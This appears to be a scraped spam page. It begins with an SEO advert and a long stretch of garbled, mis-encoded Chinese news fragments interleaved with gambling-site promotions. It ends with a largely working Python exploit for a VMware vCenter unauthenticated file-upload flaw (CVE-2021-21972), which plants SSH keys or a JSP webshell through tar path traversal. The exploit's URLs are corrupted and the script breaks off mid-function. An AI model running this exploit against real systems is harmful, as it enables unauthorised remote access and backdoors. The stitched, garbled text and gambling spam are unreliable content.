google seo -> telegram: @ehseo6
ÔøÇ¿ÌáÒéµÄ½ðÈý¼«Õ½ÂÔ£¬½«Á¦ÇóÖúÍÆÐÛ°²ÒýÁìÖйúÕ¼ÁìÈ«Çò²úÒµºÍ½ðÈÚÖÆ¸ßµã£¬×ßÏòÊÀ½çÇ¿¹ú֮·¡£ A·ï»ËÍøWEMONEYѶÔÚ¹ýÈ¥µÄÒ»Äê¶àÖУ¬ÒªÇóÍø´ûÈ¥¸Õ¶ÒµÄÉùÒô½¥Æð£¬ÒÔ·çÏÕ±¸¸¶½ðΪ´ú±íµÄ±£ÕÏ·½Ê½Öð²½±»Ñ¹ËõÈ¡Ïû£¬ÓÚÊÇÍø´ûƽ̨¿ªÊ¼ºÍ±£ÏÕ¹«Ë¾Ñ°ÕÒÒ»ÖÖ¸ü˵µÃ¹ýÈ¥µÄ±£ÕÏ·½Ê½¡£  Q
ÎÒÃǸü¹Ø×¢µÄ²»ÊÇij¸ö¼¼Êõ±¾Éí£¬¶øÊÇÕâЩӦÓÃÔõôȥÂ䵨£¬²»¹ÜÊÇÈ˹¤ÖÇÄÜ¡¢Çø¿éÁ´¡¢VR¡¢ARÒ²ºÃ£¬ÕâЩм¼Êõ×îÖÕÊDz»ÊÇÄܹ»Â䵨£¬ÊDz»ÊÇÕæÕýÂú×ãÁËÊг¡µÄÐèÇó¡¢½â¾öÁËÊг¡µÄÍ´µã¡£ °ÄÃŰÙÀÏ»ãÊÖ»úÍøÒ³ KÓëSUV²úÆ·ÏúÁ¿Ï»¬ÄÚÓÇÏà±È£¬½»´Æû³µÃæÁÙµÄÍⲿ»·¾³Ò²¸ü¼Ó¸´ÔÓ¶à±ä¡£ E
±ÈÈ磬¼Ó´óÔÚ°ÍÎ÷Í·ºÅ´ó¶¹²úÇøµÄÊÕ¹ºÁ¿¡£  M½ñÄê2Ô£¬ÉÌÎñ²¿¶ÔÔ²úÓÚÃÀ¹úµÄ½ø¿Ú¸ßÁ»½øÐз´ÇãÏúºÍ·´²¹ÌùÁ¢°¸µ÷²é¡£ ? M
ץס»úÓö¾ÛÁ¦´òÔìÐÂÄÜÔ´Æû³µ²úÒµ¼¯Èº²úÒµÊǾ¼ÃÔö³¤µÄ¶¯Á¦Ö®Ô´£¬¸üÊDzúҵгǵÄÁ¢¸ùÖ®±¾¡£ UÕë¶Ô×î½ü¼¸¸öÔÂÀ´ÌÚѶϵ£¨ÌÚѶ¡¢¾©¶«£©´óÊÖ±ÊÈë¹ÉÓÀ»Ô¡¢¼ÒÀÖ¸£¡¢º£À½Ö®¼ÒºÍ²½²½¸ß£¬ÓëÁãÊÛÆóÒµÕ¹¿ªºÏ×÷Õâ¸öÎÊÌ⣬Âí»¯ÌÚ³ÆÓкܶàÈËÎÊËû±³ºóµÄÔÒò£¬´ó¼Ò¶¼±íʾ¿´²»¶®¡£ Q
ÐÂÈü¼¾¿ª¾ÖÓÖÊÇ˳·ç˳ˮ£¬À´µ½Õâ¸ö½×¶Î³öÏÖһЩÏ»¬Ò²ÊÇ¿ÉÒÔÀí½âµÄ¡£ T
ÃÀ¹ú¶ÔÖ÷ÒªÃ˹úµÄ¸ÖÂÁ¹ØË°Í»È»È¡Ïû£¬Å·ÃË¡¢¼ÓÄôó¡¢Ä«Î÷¸ç¡¢º«¹ú¡¢°ÍÎ÷ºÍ°Ä´óÀûÑǵȶ¼µÃµ½»íÃ⣻¶ÔÖйúµÄйØË°¿ÉÄÜ»áÔÚ´èÉÌÆÚµÃµ½ÀàËÆµÄ»íÃâ¡£ P
ÕâÑùÒ»¸öÏÖÏó¼¶²úÆ·£¬ÎÞÒÉÒ²ÒýÀ´¼à¹ÜµÄ¹Ø×¢¡£ QÒµÄÚÈËÊ¿ÈÏΪ£¬¾©¶«½ðÈڴ˴η¢²¼±±¶·ÆßÐÇ£¬Òâζ×ÅÆäB2B2CÉÌҵģʽµÄÂ䵨²»½öÄܹ»ÎªÒøÐÐÌṩÊý×Ö»¯·þÎñ£¬°ïÖúÒøÐÐʵÏÖÈË¡¢»õ¡¢³¡µÄ¹áͨ£¬¶øÇÒÄܹ»ÎªÒøÐдøÀ´³¡¾°ºÍ¿Í»§£¬ÌرðÊÇÒøÐÐÏëÒª½Ó´¥µ½µÄ´óÁ¿Òƶ¯»¥ÁªÍøÊ±´úϳɳ¤ÆðÀ´µÄ95ºó¡¢00ºó¡£ ? G´óºìÓ¥ÍøÉÏ´úÀí
ÔøÇ¿ÈÏΪ£¬ÀúÊ·Ö¤Ã÷£¬µß¸²ÐÔ¼¼ÊõµÄ·¢Ã÷¼°¹ã·ºÓ¦Óã¬ÍùÍùÄܹ»Ö÷µ¼Ò»¸ö³ÇÊÐÉõÖÁÒ»¸ö´ó¹úµÄÐËË¥£¬ÉîÛÚӦץסµ±Ç°ÖØÒªÀúÊ·»úÓö£¬»ý¼«¼ùÐнðÈý¼«Õ½ÂÔ£¬Í¬Ê±¹¹½¨»á˼¿¼µÄ³ÇÊÐÖÇÄÜÉú̬³¡£¬ÒÔ»·±£Ê½·þÎñÓªÔì¶À½ÇÊÞȺ¾ÓÆÜÏ¢µØ£¬ÖúÁ¦ÔÁ¸Û°Ä´óÍåÇøÒýÁìÖйúÕ¼¾ÝÈ«Çò²úÒµÓë½ðÈÚÖÆ¸ßµã¡£ X
¹ú¼ÒÏà¹Ø×ʽðÈëÊÐÖ»ÊÇΪÁËά»¤Êг¡Îȶ¨£¬²¢·ÇΪÁËÍÆ¸ß¹É¼Û¡£ FÏÂÒ»²½ÎÒÃǽ«ÃÜÇйØ×¢301µ÷²éÓйؽøÕ¹£¬Ò»µ©ÃÀ¹úÓйشëʩʵʩ£¬Öйú»á¼á¾ö³öÊÖ¡£  U
¡¸¹ú»õµ±×ÔÇ¿¡¹£¬ÖйúÏû·ÑÕ߯ÈÇеÄÏ£Íû¹ú²úÆ·ÅÆµÄáÈÆð£¬¹úÈ˶ÔÀîÄþÕâ¸öÆ·ÅÆÓÐ×ÅËêÔµÄÇé½ÚºÍºÜ¸ßµÄÆÚ´ý£¬¶øÓÐÁËÎÄ»¯ºÍÀúÊ·µ×ÔÌµÄÆ·ÅƲÅÄÜÊÇÒ»¸öºÃµÄÔØÌ壬Éè¼ÆÊ¦Ò²ÄܸüºÃµØ·¢É¢Ë¼Î¬¡£  C
ÔÚÂü³ÇÖ´½Ì167³¡£¬ÅåÀ³¸ñÀïÄáÂʶÓÈ¡µÃ100ʤ28ƽ29¸º£¬Ê¤ÂÊ´ïµ½%£¬³É¼¨·Ç³£³öÉ«¡£ U
¶ÔÓÚÓû§£¬ÃÀÍÅ´ò³µÒ²½«ÍƳö´ò³µËÍÍâÂôȯµÈ»î¶¯£¬¼´½«ÉÏÏߵı±¾©Õ¾»¹Ö÷´ò1·ÖÇ®ÌåÑé¡£ FÔÚ²ÆÍ¨Ö¤È¯·ÖÎöʦ¿´À´£¬×ÔÖ÷SUVϸ·ÖÊг¡¼Û¸ñÕ½¼¤ÁÒ£¬½»´Æû³µÖ÷Á¦³µÐÍÈð·çS3Êܱ¦¿¥¡¢³¤°²µÄµÍ¼ÛSUV³å»÷ÏúÁ¿²»¼Ñ£¬Öصã²úÆ·Èð·çS7ÉÏÊкóÍÆ¹ãÐû´«Î´Äܼ°Ê±¸ú½ø£¬µ¼Ö²úÆ·ÆØ¹âÂʵͣ¬ÏúÁ¿ÅÀÆÂ³Ù»º¡£918²©ÌìÌÃÓÎÏ·ÖÐÐÄ A
´ÓÓ¡µÚ°²Î¬¶û˹°ë¾öÈüÃæ¶ÔÇðÀïÆæ¿ªÊ¼£¬·ÑµÂÀÕÁ¬ÐøÈý³¡±ÈÈü´òÂúÈýÅÌÇÒÔâÓöÁ½Á¬°Ü£¬Á½³¡Ê§Àû»¹¶¼ÊÇÒÔ¾öʤÅÌÇÀÆßµÄ·½Ê½ÊäµôµÄ¡£ ZDropbox¹«Ë¾½«ÔÚÄÉ˹´ï¿Ë½»Ò×ËùÉÏÊУ¬¹ÉƱ´úÂëΪDBX¡£ O
2017Äê12Ôµף¬ÃÀÍÅAPPÔÚÈ«¹úÆß¸ö³ÇÊнÓÈë´ò³µÍƹãÁ´½Ó£¬°üÀ¨±±¾©¡¢ÉϺ£¡¢³É¶¼¡¢º¼ÖÝ¡¢ÎÂÖÝ¡¢¸£ÖݺÍÏÃÃÅ¡£ ZµÚ71·ÖÖÓ£¬¿ËÀïË¹Ì¹ÌØÉϳ¡ÌæÏÂάÀµÙ¡£ N
±±¾©ÒøÐС¢½ËÕÒøÐС¢ÄϾ©ÒøÐС¢°üÉÌÒøÐС¢´óÁ¬ÒøÐеȽü30¼ÒÖÐÐ¡ÒøÐвλᡣ Y¾ÝͶ×ÊÕß͸¶£¬È¥Äê12Ôµף¬²Æ´óʨ¾Í¿ªÊ¼ÓâÆÚÁË¡£  Y
ŮʿÃÇ¡¢ÏÈÉúÃÇ£¬¸÷λÀ´±ö£¬·Ç³£¸ßÐËÀ´µ½Öйú·¢Õ¹¸ß²ãÂÛ̳£¬ºÍ´ó¼ÒÒ»Æð·ÖÏí¹©¸ø²à½á¹¹ÐԸĸï¹ý³ÌÖеĽðÈÚÕþ²ß¡£ OÓÐЩƽ̨³£³£»á¶ÔÕâЩ¾ßÌåµÄ¹æ¶¨Èý¼êÆä¿Ú£¬Ä£ºýÆä´Ê£¬µ«ÕâЩϸ½Ú×îÖÕ»áÓ°ÏìͶ×ÊÈËÄÜÄûØÅâ³¥¿îµÄ¶î¶È¡£ R
Ö»ÒªËûÃÇÓõĺᣠ H ag»·ÑÇÊÓѸÌüÎÈÓ®¼¼ÇÉ
±±¾©Ê±¼ä3ÔÂ22ÈÕ£¬CBA¼¾ºóÈüÊ×ÂÖµÚËij¡¼ÌÐø½øÐС£ E
ºÏ×ʺÏ×÷δ´ïÔ¤ÆÚ2017Ä걨Êý¾ÝÏÔʾ£¬ÓëSUVϽµ½Ï¶à²»Í¬µÄÊÇ£¬½»´Æû³µÉÌÓ󵡢MPVºÍÐÂÄÜÔ´°å¿éÏúÁ¿¾ùʵÏÖÁ˲»Í¬·ù¶ÈµÄÔö³¤¡£  QÔ±êÌ⣺ÍõÐË£ºÃÀÍÅ´ò³µÒѾÔÚ½ø×¤³ÇÊÐÄÃÏÂ1/3Êг¡·Ý¶îÁÔÔÆ×¢£ºÄ¿Ç°¸ù¾ÝÃÀÍŵãÆÀCEOÍõÐË͸¶£¬ÃÀÍÅ´ò³µÒµÎñÒѾÔÚËù½øÈëµÄ³ÇÊÐÄõ½1/3µÄÊг¡·Ý¶î¡£ P
Óà¶î±¦É깺¶î¶ÈÒѹý´ËǰÐû²¼µÄÏÞ¹ºÆÚÒ»ÖÜʱ¼äÈ´ÈÔδ·Å¿ª¡£ Q
Ò»µ©Óöµ½Í¶Ëߣ¬Ïû·ÑÕß¾ÍÈÝÒ×µô½øÉ̼ÒÉè¼ÆµÄÏÝÚå£¬ÑÆ°Í³Ô»ÆÁ¬ÓпàÄÑÑÔ¡£ I±±¾©Ê±¼ä3ÔÂ24ÈÕÁ賿03:45£¬Ò»³¡¹ú¼Ê×ãÇòÓÑÒêÈüÔÚÒÁµÙ¹þµÂÇò³¡Õ¹¿ª£¬Óɰ¢¸ùÍ¢¶ÔÕóÒâ´óÀû¡£ R
¶ÔÓÚ¹«Ë¾¾ÓªÇé¿ö£¬½»´Æû³µ×ܾÀíÏîÐ˳õ±íʾ£¬2017ÄêÔÚ·¢Õ¹ÖÐÓöµ½µÄÀ§ÄÑ£¬ÊÇתÐÍÉý¼¶ÖеÄÕóÍ´£¬Êǵ÷Õû¹ý³ÌÖеıؾ֮·£¬´æÔÚµÄÎÊÌâÖ÷ÒªÊDzÉÓõļ¼ÊõÊֶΡ¢¹ÜÀíÊֶκÍÏû·ÑÕߵĺËÐÄËßÇó´æÔÚ´íλ£¬È±·¦¶ÔÏû·ÑÕßµÄÉî¶ÈÑо¿ºÍÐèÇóÅäÖõÄÅÅÐò¡£ F
´ËÍ⣬ÃÀ¹ú²ÆÕþ²¿½«ÔÚ60ÌìÄÚ³ǫ̈·½°¸£¬ÏÞÖÆÖйúÆóҵͶ×ʲ¢¹ºÃÀ¹úÆóÒµ¡£ Q
¶¡½¡´Ó²»»áΪÁËËùνµÄ×··ç¿Ú¶ø¸Ðµ½½¹ÂÇ£¬ÔÚËû¿´À´£¬Í¶×ʱ¾À´¾Í²»Ó¦¸ÃÊÇÒ»¸ö×··ç¿ÚµÄÓÎÏ·£¬ÐèÒªºÜÉ÷ÖØµÃÈ¥Á˽⣬½ñÌìÎÒ¾õµÃÿһ¸öÖÆÔìµÄ·ç¿Ú£¬´ó¸ÅÖܱ߶¼»áÓÐÊ®¸öÏÝÚåµÈ×Å¡£ C9ÒÚÓéÀÖÆ½Ì¨×¢²á¾Á¸»Ç£ÊÖÈ˱£¡¢Ì«Æ½Á½´óÏÕÆóÉÏÏßÂÄÔ¼ÏÕ3ÔÂ19ÈÕ£¬¾Á¸»ÆÕ»Ý·¢²¼±£Õϼƻ®Éý¼¶¹«¸æ³Æ£¬¼ÌÓë̫ƽ²ÆÏÕºÏ×÷Ϊƽ̨Óû§ÌṩһÄêÆÚÒÔÄÚ½è¿îÂÄÔ¼±£Ö¤±£ÏÕ±£ÕÏÖ®ºó£¬ÖйúÈ˱£²ÆÏÕÒ²¼ÓÈë¾Á¸»Æ½Ì¨µÄÂÄÔ¼±£Ö¤±£ÏÕ±£Õϼƻ®¡£  D
ºÏʤÓéÀÖ³¡×îÐÂÍøÖ·¡º8TBH¡¤COM¡»Ã벩ÓéÀÖ³¡app°æ- R.H3T4B6 I  G E
Óà¶î±¦É깺¶î¶ÈÒѹý´ËǰÐû²¼µÄÏÞ¹ºÆÚÒ»ÖÜʱ¼äÈ´ÈÔδ·Å¿ª¡£ Z2.ÉÌÎñ²¿£ºÒ»µ©ÃÀ¹úÓйشëʩʵʩ£¬Öйú»á¼á¾ö³öÊÖ±±¾©Ê±¼äÖÜÎ壬ÉÌÎñ²¿Ìõ·¨Ë¾Ë¾³¤³Â¸£Àû±íʾ£¬Öйú²»Ï£Íû·¢ÉúóÒ×Õ½£¬Ò²²»»áÖ÷¶¯ÌôÆðóÒ×Õ½£¬µ«²»ÎÒÃDz»¾åÅÂóÒ×Õ½£¬Ò²²»»á¶ã±ÜóÒ×Õ½¡£ S
Óà¶î±¦É깺¶î¶ÈÒѹý´ËǰÐû²¼µÄÏÞ¹ºÆÚÒ»ÖÜʱ¼äÈ´ÈÔδ·Å¿ª¡£ O¶ÔÓÚͶ×ÊÈËÀ´½²£¬Ç°ÕßµÄÖØµã¾Í¸ü¶àÒ»µã¡£ K
¶ø¶ÔÓÚºóÐøµÄÈ·ÈϹºÂòÐÅÏ¢Ò²²¢Ã»ÓгöÏÖÔÚýÌ屨µÀÀ¸Ä¿ÁбíÀï¡£ Wm.599.lomÀͶ¯Á¦Êг¡ÉÐδ¹ýÈÈ£¬ÀͶ¯Á¦³É±¾ÓÐÉÏÐзçÏÕ¡£  X
ÔÚÆÚ´ýÓë¹ÄÀøÖУ¬µÚÆß½ì»ªÏÄÖ®ÐÇݼӢѵÁ·ÓªÕýʽ¿ªÓª£¬µÚËÄ×ù³õÐÄͼÊé¹ÝÕýʽ¶¯¹¤¡£ VµÚ30·ÖÖÓ£¬Â³±¾-ÄÚά˹һ½ÅÔ¶Éä´ò¸ß¡£ J
µ«ÊÇÌØÀÊÆÕ±íʾÕâÊdzöÓÚ¶Ô¹ú¼Ò°²È«µÄ¿¼Á¿£¬²»»áÔÙÇ©ÊðÀàËÆÕâÑùµÄÒé°¸¡£ H
µÚ64·ÖÖÓ£¬°¢¸ùÍ¢×ö³öÈËÔ±µ÷Õû£¬µÏÂêÀûÑǺÍÅÁÀ×µÂ˹·Ö±ð±»ÅåÂÞµÙÓë°ÍÄÚ¼Ó»»Ï¡£ D
ÀîÄþÉè¼ÆÊ¦ÊÖ¸åÁíÒ»·½Ã棬¹úÈ˶¼ÊÇÏ£ÍûÖйúÆ·ÅÆ¿ÉÒÔ×ßÉϹú¼ÊÎę̀£¬½²ÊöÖйúµÄ¹ÊÊµģ¬¶ø¼ç¸º×ÅÕâÏîʹÃüµÄÀîÄþÀíÓ¦¾ÍµÃµ½ÁËÏû·ÑÕßµÄÈϿɡ£ U×ۺϷþÎñ¾ÍÊÇÃÀÍŵãÆÀ×î´óµÄÓÅÊÆ¡£ X
°¢ÀïÒ»Ö±ÔÚ̸µÄÐÂÁãÊÛ£¬ÆäÖÐÎåУ¨°¢Àï°Í°ÍÌá³öµÄÎåÐÂÕ½ÂÔÐÂÁãÊÛ¡¢ÐÂÖÆÔ졢нðÈÚ¡¢Ð¼¼ÊõºÍÐÂÄÜÔ´£©µÄÐÂÖÆÔ죬¹ų̀ÃúÖ±ÑÔÊÇËû¸øÂíÔÆ¼ÓÉÏÈ¥µÄ¡£ X
ÍõÐËÔÚ»áÉÏ͸¶£¬ÃÀÍŵãÆÀÁ½Äêǰ¾ÍÒÑ×ÅÊÖÎÞÈ˳µÅäËͼ¼ÊõµÄ¿ª·¢£¬Ä¿Ç°ÒÑÉêÇ볬¹ý60ÏîרÀû¼¼Êõ¡£ NÃÀ·½ËÁÒâ»ÓÎèóÒ×±£»¤Ö÷Òå´ó°ô£¬¹ú¼ÊÓßÂÛΪ֮²àÄ¿¡£? ? H
Ëæºó£¬ËûÐû²¼£¬½«ÒÀ¾ÝÃÀ¹úóÒ×´ú±íÀ³ÌØÏ£Ôó×ÔÈ¥Ä꿪չµÄ301µ÷²é¶Ô×ÔÖйú½ø¿ÚµÄÉÌÆ·¼ÓÊÕ¹ØË°¡£ P
¶ÔÓÚÏÖ³¡¼ì²é»ú¹¹µÄÒµÎñģʽ¡¢²úƷģʽ¡¢·çÏÕ¿ØÖÆ¡¢ÐÅÏ¢Åû¶µÈÎÊÌ⣬ÂÉʦÊÂÎñËùӦѯÎÊ»ú¹¹¶¼à¸ßÏà¹ØÇé¿ö¡£  M
·½°¸Ç¿µ÷£¬Íø´û»ú¹¹ÔÔòÉÏÓ¦ÓÚ2018Äê4ÔÂ25ÈÕǰÏò×¢²áµØËùÔÚÇø½ðÈÚ¹¤×÷²¿ÃÅÌá½»ÑéÊÕÉêÇë¼°²ÄÁÏ¡£ AËûÒ²±íʾĿǰÍâ½çûÓÐÒ»¸ö·ÖÎöʦ»òÕ߯ÀÂÛÔ±°Ñ±³ºóµÄÕ½ÂÔ²¼¾Ö½²µÃÌ«µ½Î»¡£ Z
Ëæºó£¬ËûÐû²¼£¬½«ÒÀ¾ÝÃÀ¹úóÒ×´ú±íÀ³ÌØÏ£Ôó×ÔÈ¥Ä꿪չµÄ301µ÷²é¶Ô×ÔÖйú½ø¿ÚµÄÉÌÆ·¼ÓÊÕ¹ØË°¡£uuÓéÀÖÇáËÉÖ¸»¼ÓÃË W·ï»ËÍø¿Æ¼¼£º°¢Àï¡¢ÌÚѶµÄͶ×ʲ¿ÃÅÆµ·±³öÊÖ£¬»á²»»á¶Ô»ú¹¹Í¶×ÊÕßÓÐÒ»¶¨µÄÓ°Ï죿¶¡½¡£ºÎÒÃDz»µ£ÐÄ£¬ÎÒÃÇÆäʵ»¹ºÍËûÃÇÓзdz£ÉîµÄºÏ×÷¡£  T
ÐÂÄÜÔ´ÒµÎñÃæÁÙ²»È·¶¨ÐÔ°²ÐÅ֤ȯ·ÖÎöʦºâÀ¥±íʾ£¬¹«Ë¾³ËÓóµ²úÆ·¾ºÕùÁ¦²»×㣬ÔÚδÀ´³ËÓóµÊг¡·Ö»¯¼Ó¾çµÄ´ó±³¾°Ï£¬¹«Ë¾µÄÖ÷Òª¿´µã½«ÔÚ´«Í³Ç¿ÏîÉÌÓ󵡢MPVÒÔ¼°ÐÂÐËÒµÎñÐÂÄÜÔ´Æû³µÉÏ¡£ K¶ø¶ÔÓÚºóÐø¾ßÌå½â¾ö°ì·¨£¬²Æ´óʨ¹ÙÍøÉÏÉÐδÓÐÈκÎÏà¹ØµÄ¹«¸æ¡£   D
¸ßÊ¢ÊÕµø%£¬±¾ÖÜÀÛµø%£»ÃÀ¹úÒøÐÐÊÕµø%£¬±¾ÖÜÀÛµø%£»»¨Æì¼¯ÍÅÊÕµø%£¬±¾ÖÜÀÛµø%£»Ä¦¸ù´óͨÊÕµø%£¬±¾ÖÜÀÛµø%£»Ä¦¸ùÊ¿µ¤ÀûÊÕµø%£¬±¾ÖÜÀÛµø%¡£ JÔøÇ¿ÈÏΪ£¬ÔÁ¸Û°Ä´óÍåÇø×øÓµ¶à¸ö²úÒµÁúÍ·ÆóÒµ£¬ÇÒÓµÓÐÍêÉÆµÄ½ðÈÚ·þÎñ£¬ÍêÈ«¾ß±¸ÐγɶÀ½ÇÊÞ·¢ÏÖ-ÅàÓý-ÉÏÊÐ-³ÉΪ¶À½ÇÊÞ·¢ÏÖ¼°ÅàÓýÕߵıջ·£»ÒÔ¼°ÒÔ¸÷Àà½ðÈÚ·þÎñ»ú¹¹ÎªÒÀÍУ¬ÒÔ½»Ò×ËùÎªÖØÒªÍ˳öÇþµÀµÄ×ʽðÌìʹ-VC/PE-Pre_IPO-IPO»ñÀûÍ˳öµÄ×ʽðͶ×ʻر¨±Õ»·¡£ ? D
·ï»ËÍø¿Æ¼¼Ñ¶3ÔÂ25ÈÕÏûÏ¢£¬ITÁìÐä·å»á½ñÌìÔÚÉîÛÚÕýʽ¿ªÄ»¡£  T²»¹ý£¬Î÷ººÄ·±¾Èü¼¾³É¼¨Ôã¸â£¬½ø¶ø»»Ë§£¬ÑûÇëÀ´ÔøÔÚÂüÁªÖ´½ÌµÄĪҮ˹¡£ G
Íþ¶ûÊ¿Ê×·¢£ºÃŽ«£º1-ºàÄÚÎ÷/ºóÎÀ£º2-¸ÔÌØ¡¢5-ÇÐË¹ÌØ¡¢6-°¢Ê²Àû-ÍþÁ®Ä·Ë¹¡¢4-±¾-´÷ά˹/Öг¡£º8-°²µÏ-½ð¡¢7-ÇÇ-°¢Âס¢14-µÏ¿ËÀ¼-Ô¼º²/ǰ·æ£º16-¹þÀï-Íþ¶ûÑ·¡¢9-ÎÖ¿Ë˹¡¢11-±´¶û£¨½¥ÐÞ£©Óб»bodogºÚ¹ýÇ®Âð Y
2018Äê³õÃÀ¹É¶¯µ´¸øÁËͶ×ÊÕ߸ü¶àµÄÀíÓÉ£¬È¥¼õÉÙÄÇЩ´óÐͿƼ¼¹ÉÈ¨ÖØ½Ï¸ßµÄͶ×Ê×éºÏ¡£ H
°²Ì¤ºÍÀîÄþµÄ¾ºÕùÒ»Ö±¶¼ÊÇÒì³£¼¤ÁÒ£¨27ÈÕ£¬°²Ì¤Ðû²¼ÓªÊÕ´ïµ½ÒÚÈËÃñ±Ò£©£¬ÔÚ¹ú¼ÊÊг¡ÉÏ×ÔȻҲÊDz»»áÂäÏ¡£°ëµºÓéÀÖ³¡ÓŻݻ G¶ø¶ÔÓÚºóÐøµÄÈ·ÈϹºÂòÐÅÏ¢Ò²²¢Ã»ÓгöÏÖÔÚýÌ屨µÀÀ¸Ä¿ÁбíÀï¡£ R
°ë³¡±ÈÈü½áÊø£¬¹ú×ãÒÔ0-4´ó±È·ÖÂäºó¡£  G
ÈøÁֽܺÍÀ³Ë¹Èý·ÖÃüÖУ¬ÉîÛÚ×·µ½63±È80¡£ ?  NÆäÖУ¬ËÕ¹ú²ÅΪǧºÍµ£±£¹«Ë¾Àϰ塣 Q
³ÌÐòÔ±³öÉíµÄÂí»¯ÌÚÔÚÔçÄêдÁ˺ܶà³ÌÐò£¬¿´µ½Èç½ñµÄС³ÌÐòÒѾ³ÉΪÏÖÔÚºÜÊܱà³ÌÕß»¶ÓµÄ±à³Ì»·¾³¡£ H
²úÒµ½ðÈý¼«ÊÇָͨ¹ýµß¸²ÐÔ¼¼Êõ¡¢¸ß¶Ë²úÒµ¡¢ÊÀ½ç±ê×¼ÕâÈý´ó²úÒµÁ´µÄÖÆ¸ßµã£¬À´ÂäÊµÍÆ¹ã¸ß¿Æ¼¼ÔÚÖйúµÄÂ䵨Éú¸ù¿ª»¨¡¢À©´óÊг¡Õ¼ÓÐÂÊ¡¢Õ¼¾ÝÊг¡ÒªËظߵأ¬³ÉΪÊÀ½ç²úÒµÁìÓòµÄÁúÍ·±ê¸Ë£¬ÕÆÎÕ²úÒµ»°ÓïȨ¡£ÎÈÓ®ÖÁ×ðÓéÀÖÊ×´æÓÅ»Ý G
¹ØÓÚ¹ú×ã0-6²Ò°ÜÍþ¶ûÊ¿µÄ±ÈÈüÖУ¬³öÏÖ²¿·ÖÇòԱ̬¶È²»¶ËÕýµÄÇé¿ö£¬Ò²ÊÇ×î½ü¼¸ÌìÖйú±µÄÐÂÎŽ¹µã¡£ XÎÒÃÇÔÚÍÆ½ø½ðÈڸĸ↑·ÅÉÏ£¬È¡µÃÁËÃ÷ÏԵijÉЧ¡£ D
# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload # Date: 2023-01-28 # Exploit Author: Photubias # Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html # Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517) # Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds # CVE: CVE-2021-21972 #!/usr/bin/env python3 ''' Copyright 2021 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org.321awaycampervans.com/licenses/>. File name CVE-2021-21972.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be CVE-2021-21972 is an unauthenticated file upload and overwrite, exploitation can be done via SSH public key upload or a webshell The webshell must be of type JSP, and its success depends heavily on the specific vCenter version # Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister # A white page means vulnerable # A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet) # Notes: # * On Linux SSH key upload is always best, when SSH access is possible & enabled # * On Linux the upload is done as user vsphere-ui:users # * On Windows the upload is done as system user # * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui" # * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-) Features: vulnerability checker + exploit ''' import os, tarfile, sys, optparse, requests requests.packages.urllib3.disable_warnings() lProxy = {} SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org.321awaycampervans.com/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org.321awaycampervans.com/soap/envelope/" xmlns:xsi="http://www.w3.org.321awaycampervans.com/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this> </RetrieveServiceContent> </env:Body> </env:Envelope>''' sURL = sFile = sRpath = sType = None def parseArguments(options): global sURL, sFile, sType, sRpath, lProxy if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.') sURL = options.url if sURL[-1:] == '/': sURL = sURL[:-1] if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL sFile = options.file if not os.path.exists(sFile): exit('[-] File not found: ' + sFile) sType = 'ssh' if options.type: sType = options.type if options.rpath: sRpath = options.rpath else: sRpath = None if options.proxy: lProxy = {'https': options.proxy} def getVersion(sURL): def getValue(sResponse, sTag = 'vendor'): try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0] except: pass return '' oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE) #print(oResponse.text) if oResponse.status_code == 200: sResult = oResponse.text if not 'VMware' in getValue(sResult, 'vendor'): exit('[-] Not a VMware system: ' + sURL) else: sName = getValue(sResult, 'name') sVersion = getValue(sResult, 'version') # e.g. 7.0.0 sBuild = getValue(sResult, 'build') # e.g. 15934073 sFull = getValue(sResult, 'fullName') print('[+] Identified: ' + sFull) return sVersion, sBuild exit('[-] Not a VMware system: ' + sURL) def verify(sURL): #return True sURL += '/ui/vropspluginui/rest/services/uploadova' try: oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5) except: exit('[-] System not available: ' + sURL) if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely else: return False def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None): def getResourcePath(): oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5) return oResponse.text.split('static/')[1].split('/')[0] oTar = tarfile.open('payloadLin.tar','w') if sRpath: ## version & build not important if sRpath[0] == '/': sRpath = sRpath[1:] sPayloadPath = '../../' + sRpath oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'absolute' elif sType.lower() == 'ssh': ## version & build not important sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys' oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'ssh' elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631): ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i) oTar.close() return 'webshell' elif 